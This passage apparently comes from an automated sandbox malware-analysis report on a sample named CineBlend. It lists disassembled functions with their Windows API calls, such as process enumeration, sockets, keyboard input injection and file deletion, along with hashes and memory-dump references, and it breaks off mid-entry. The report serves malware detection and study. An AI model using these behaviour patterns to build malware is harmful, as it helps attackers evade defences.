                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorMode$InformationVolume
                                  • String ID: %lu
                                  • API String ID: 2507767853-685833217
                                  • Opcode ID: e9a042e57036ffa94f35504fa75a27be582738e73c7768c275604e2b9b859150
                                  • Instruction ID: 14d2b742cc4f67dd8486d6e6c0f57261b1a29a1e2f5f1dceb656d1201d0cb8b5
                                  • Opcode Fuzzy Hash: e9a042e57036ffa94f35504fa75a27be582738e73c7768c275604e2b9b859150
                                  • Instruction Fuzzy Hash: B0314F75A00209AFDB10DF54C885EAAB7F8EF09304F1480E9F909DB262DB71EE45DB61
                                  Function 00BC4C89 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00BC4CED
                                  • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00BC4D02
                                  • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00BC4D0F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID: msctls_trackbar32
                                  • API String ID: 3850602802-1010561917
                                  • Opcode ID: 1bb4129fd17620cb4e185571f62ff6c54798605d29a8e74eba659af7b736e0a6
                                  • Instruction ID: 1f4a1a56b57f1024fe0ca5ecac5114695b6b735c6b2b27e06d844e29eb8e427b
                                  • Opcode Fuzzy Hash: 1bb4129fd17620cb4e185571f62ff6c54798605d29a8e74eba659af7b736e0a6
                                  • Instruction Fuzzy Hash: 7B110271240248BEEF205F69CC06FAB3BE8EF89B65F120528FA51E60A0C671DC50DB20
                                  Function 00B9389E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                    • Part of subcall function 00B936F4: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B93712
                                    • Part of subcall function 00B936F4: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B93723
                                    • Part of subcall function 00B936F4: GetCurrentThreadId.KERNEL32 ref: 00B9372A
                                    • Part of subcall function 00B936F4: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B93731
                                  • GetFocus.USER32 ref: 00B938C4
                                    • Part of subcall function 00B9373B: GetParent.USER32(00000000), ref: 00B93746
                                  • GetClassNameW.USER32(?,?,00000100), ref: 00B9390F
                                  • EnumChildWindows.USER32(?,00B93987), ref: 00B93937
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
                                  • String ID: %s%d
                                  • API String ID: 1272988791-1110647743
                                  • Opcode ID: 58843a09c026f873071182122df06d2b92b621d76f37bd01626242f2004e3234
                                  • Instruction ID: 25c2dd4ad4dbc72c88d283653d1bf741e6d0946a8c7413c9c03d44a720460e3a
                                  • Opcode Fuzzy Hash: 58843a09c026f873071182122df06d2b92b621d76f37bd01626242f2004e3234
                                  • Instruction Fuzzy Hash: 3E11A2756002096BCF11BF749C85FEE77EAAF98704F0480B9F9099B292DE719A05DB30
                                  Function 00BC6321 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00BC6360
                                  • SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00BC638D
                                  • DrawMenuBar.USER32(?), ref: 00BC639C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$InfoItem$Draw
                                  • String ID: 0
                                  • API String ID: 3227129158-4108050209
                                  • Opcode ID: 0c7bdaafc9cd2b0610c86d300a7ecb3dabd6c3e282a953ab23a0c2676b451433
                                  • Instruction ID: 4b36081a8ded2039ac53f1f1b36d43f733a5bf3509f6e06d046e278aca171bc8
                                  • Opcode Fuzzy Hash: 0c7bdaafc9cd2b0610c86d300a7ecb3dabd6c3e282a953ab23a0c2676b451433
                                  • Instruction Fuzzy Hash: 2B015771614258AFDB219F55DC84FAABBB4FF88351F1080E9F84AE6151DF308A85EF21
                                  Function 00B8E778 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00B8E797
                                  • FreeLibrary.KERNEL32 ref: 00B8E7BD
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AddressFreeLibraryProc
                                  • String ID: GetSystemWow64DirectoryW$X64
                                  • API String ID: 3013587201-2590602151
                                  • Opcode ID: c485c58f4196c2e138efd659ee3e7da2c0931623dda15dda672e672055ea0ed6
                                  • Instruction ID: ad00c012db212bcf85cd51583b3b61ec79dca2dfa742221a1f081f0bbee967cc
                                  • Opcode Fuzzy Hash: c485c58f4196c2e138efd659ee3e7da2c0931623dda15dda672e672055ea0ed6
                                  • Instruction Fuzzy Hash: 98E06D75901614AFEB65AA208C88E6A72A8AB22741B1504E8E826B71B0EB61C944CB59
                                  Function 00B9096F Relevance: 6.3, APIs: 4, Instructions: 322COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 34a6b74850953dab03d5afc32d074895998e4f75966878434b52663618bf5d57
                                  • Instruction ID: b65585cfc8bd41f7f339ffcd44056ba11b59a1a5e437a1978de0cec542663b05
                                  • Opcode Fuzzy Hash: 34a6b74850953dab03d5afc32d074895998e4f75966878434b52663618bf5d57
                                  • Instruction Fuzzy Hash: 3FC13875A1021AEFDB04DFA4C894EAEB7B5FF48704F2085A8E505EB251D731EE81DB90
                                  Function 00B641F3 Relevance: 6.3, APIs: 4, Instructions: 305COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: __alldvrm$_strrchr
                                  • String ID:
                                  • API String ID: 1036877536-0
                                  • Opcode ID: 6b642ec63ff6d3c82f2208d2655f2e81e391796f6f1882e4d3dcf0040d879e3b
                                  • Instruction ID: 32b8864f9591cdfdbdb116f4d5935dc2873498e1e557ddeb8b8570fa0595cae7
                                  • Opcode Fuzzy Hash: 6b642ec63ff6d3c82f2208d2655f2e81e391796f6f1882e4d3dcf0040d879e3b
                                  • Instruction Fuzzy Hash: 80A15772A00B869FEB21CF18C8927AEBBE5EF51314F2441EDE5999B381CB3C8941C754
                                  Function 00B90D26 Relevance: 6.2, APIs: 4, Instructions: 230COMMON
                                  Download Yara Rule
                                  APIs
                                  • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00BD0BD4,?), ref: 00B90EE0
                                  • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00BD0BD4,?), ref: 00B90EF8
                                  • CLSIDFromProgID.OLE32(?,?,00000000,00BCDCE0,000000FF,?,00000000,00000800,00000000,?,00BD0BD4,?), ref: 00B90F1D
                                  • _memcmp.LIBVCRUNTIME ref: 00B90F3E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FromProg$FreeTask_memcmp
                                  • String ID:
                                  • API String ID: 314563124-0
                                  • Opcode ID: c2f456c66f250c314f4775c250e775671ee4e84180d1b5dede9a63827769ed6f
                                  • Instruction ID: 067c0e2a99fae0115f02c5714fc48444ae937a004f0841acecbc725678408af8
                                  • Opcode Fuzzy Hash: c2f456c66f250c314f4775c250e775671ee4e84180d1b5dede9a63827769ed6f
                                  • Instruction Fuzzy Hash: 2081F675A10109EFCF14DF94C984EEEB7B9FF89315F2045A8E506AB250DB71AE06CB60
                                  Function 00BBB0DC Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateToolhelp32Snapshot.KERNEL32 ref: 00BBB10C
                                  • Process32FirstW.KERNEL32(00000000,?), ref: 00BBB11A
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • Process32NextW.KERNEL32(00000000,?), ref: 00BBB1FC
                                  • CloseHandle.KERNEL32(00000000), ref: 00BBB20B
                                    • Part of subcall function 00B4E36B: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00B74D73,?), ref: 00B4E395
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
                                  • String ID:
                                  • API String ID: 1991900642-0
                                  • Opcode ID: 400b3029d220032159f17422efceee9afa178cd1185f50cf240f553ae1d098b9
                                  • Instruction ID: 6d676145d2352b1410858589b64dc97d46951e1396ebfdca9d10efb0c5f2db32
                                  • Opcode Fuzzy Hash: 400b3029d220032159f17422efceee9afa178cd1185f50cf240f553ae1d098b9
                                  • Instruction Fuzzy Hash: B3513BB1908300AFD310EF24C886E6BBBE8FF88754F4049ADF59597251EB70E904CB92
                                  Function 00B71711 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID:
                                  • API String ID: 269201875-0
                                  • Opcode ID: e2e759872981a5f14fb6ede579c4848573142212cbafa2f2cf738b2a98fb5967
                                  • Instruction ID: 2b25680dc433de27d8ddf5d0fbaee3cde45cd0f64af1d9ff7846b0170abe8347
                                  • Opcode Fuzzy Hash: e2e759872981a5f14fb6ede579c4848573142212cbafa2f2cf738b2a98fb5967
                                  • Instruction Fuzzy Hash: BE412671A00101AADB257FBD8C86A7E3AE9EF45730F148AE5F83CD7291DB394C019672
                                  Function 00BB2533 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • socket.WSOCK32(00000002,00000002,00000011), ref: 00BB255A
                                  • WSAGetLastError.WSOCK32 ref: 00BB2568
                                  • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00BB25E7
                                  • WSAGetLastError.WSOCK32 ref: 00BB25F1
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast$socket
                                  • String ID:
                                  • API String ID: 1881357543-0
                                  • Opcode ID: b54a396a4851a1f83eb5d896d6a47a6e27d8d2a53ec8a0110812cab1b32763fd
                                  • Instruction ID: 0e786e81b5be6b386b619a55230a912db5042a0fed3ad699aa4691da53ea88a8
                                  • Opcode Fuzzy Hash: b54a396a4851a1f83eb5d896d6a47a6e27d8d2a53ec8a0110812cab1b32763fd
                                  • Instruction Fuzzy Hash: 1641C474A00200AFE720AF24C886F6A77E5EB54754F54C49CF9169F2D3D7B1ED418B91
                                  Function 00BC6CB0 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowRect.USER32(?,?), ref: 00BC6D1A
                                  • ScreenToClient.USER32(?,?), ref: 00BC6D4D
                                  • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00BC6DBA
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$ClientMoveRectScreen
                                  • String ID:
                                  • API String ID: 3880355969-0
                                  • Opcode ID: 8728b1afefecaac35b0329485ad23c95ba5cd0debf8b06bced32ddf65245a5e3
                                  • Instruction ID: 6dedd126e95b2b0f45312ff6aa9bbe1463157c80c2e1495a0ec304a5a6f3d0b3
                                  • Opcode Fuzzy Hash: 8728b1afefecaac35b0329485ad23c95ba5cd0debf8b06bced32ddf65245a5e3
                                  • Instruction Fuzzy Hash: 8451DB75A00209AFCF24DF64D884FAE7BF6EB54360F1085AEE95597290D730AD81DB50
                                  Function 00B6B79F Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 367af48eb4f2e59e59b1f97f838e4126a3c17f455f612aae54801872dd068567
                                  • Instruction ID: 9a23ea5572abccb9ddcef9770ba4df0893261fbcd465c0349c7d0b0e486d2fc7
                                  • Opcode Fuzzy Hash: 367af48eb4f2e59e59b1f97f838e4126a3c17f455f612aae54801872dd068567
                                  • Instruction Fuzzy Hash: 6241E672A00704AFD725AF78CC41F6ABBFDEB88710F1085AAF115DB291D779DA418780
                                  Function 00BA611E Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00BA61C8
                                  • GetLastError.KERNEL32(?,00000000), ref: 00BA61EE
                                  • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 00BA6213
                                  • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 00BA623F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateHardLink$DeleteErrorFileLast
                                  • String ID:
                                  • API String ID: 3321077145-0
                                  • Opcode ID: edf383ee8e060d8000fcc9450756fedb9b789f349597fd14a40bd0b7cf11fe1a
                                  • Instruction ID: 6031c99f7a2864150cad0599768905f58eff6cec4c9cfcbab3c9b030cf8b8497
                                  • Opcode Fuzzy Hash: edf383ee8e060d8000fcc9450756fedb9b789f349597fd14a40bd0b7cf11fe1a
                                  • Instruction Fuzzy Hash: 04412779600610DFCB11EF15C585A1ABBF2EF89710F2984D8E84AAB362CB34FD01CB91
                                  Function 00B6DC43 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00B570E1,00000000,00000000,00B58649,?,00B58649,?,00000001,00B570E1,8BE85006,00000001,00B58649,00B58649), ref: 00B6DC90
                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B6DD19
                                  • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00B6DD2B
                                  • __freea.LIBCMT ref: 00B6DD34
                                    • Part of subcall function 00B63B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B63BC5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                  • String ID:
                                  • API String ID: 2652629310-0
                                  • Opcode ID: 2523bc55daff03fbdd107fd3bbfa6992342ecb61c1aef665fceafb882cbc022a
                                  • Instruction ID: a64211cc2958c15d0bc091e4c97b4561395e4aed1711283f57cc6068b991dd7f
                                  • Opcode Fuzzy Hash: 2523bc55daff03fbdd107fd3bbfa6992342ecb61c1aef665fceafb882cbc022a
                                  • Instruction Fuzzy Hash: C731BE32A0020AABDF249F64DC85EAE7BE5EF41710B1541B8FC09D7190EB39CD55CBA0
                                  Function 00B9B41E Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00B9B473
                                  • SetKeyboardState.USER32(00000080), ref: 00B9B48F
                                  • PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00B9B4FD
                                  • SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00B9B54F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: KeyboardState$InputMessagePostSend
                                  • String ID:
                                  • API String ID: 432972143-0
                                  • Opcode ID: 8748c8b66bb7b47958313cd956e0f91f25d0ac14eddc4ab7cad0648db57f2f35
                                  • Instruction ID: 95ab0a6f5dd082ddbb3a1309f21418db849af700d5fd4014885db49066793416
                                  • Opcode Fuzzy Hash: 8748c8b66bb7b47958313cd956e0f91f25d0ac14eddc4ab7cad0648db57f2f35
                                  • Instruction Fuzzy Hash: 53316870A002086EFF30CB25A955FFE7BF5EF59310F1482BAE496963D2C7748A4197A1
                                  Function 00BC5D5F Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,00001024,00000000,?), ref: 00BC5DF0
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC5E13
                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BC5E20
                                  • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00BC5E46
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
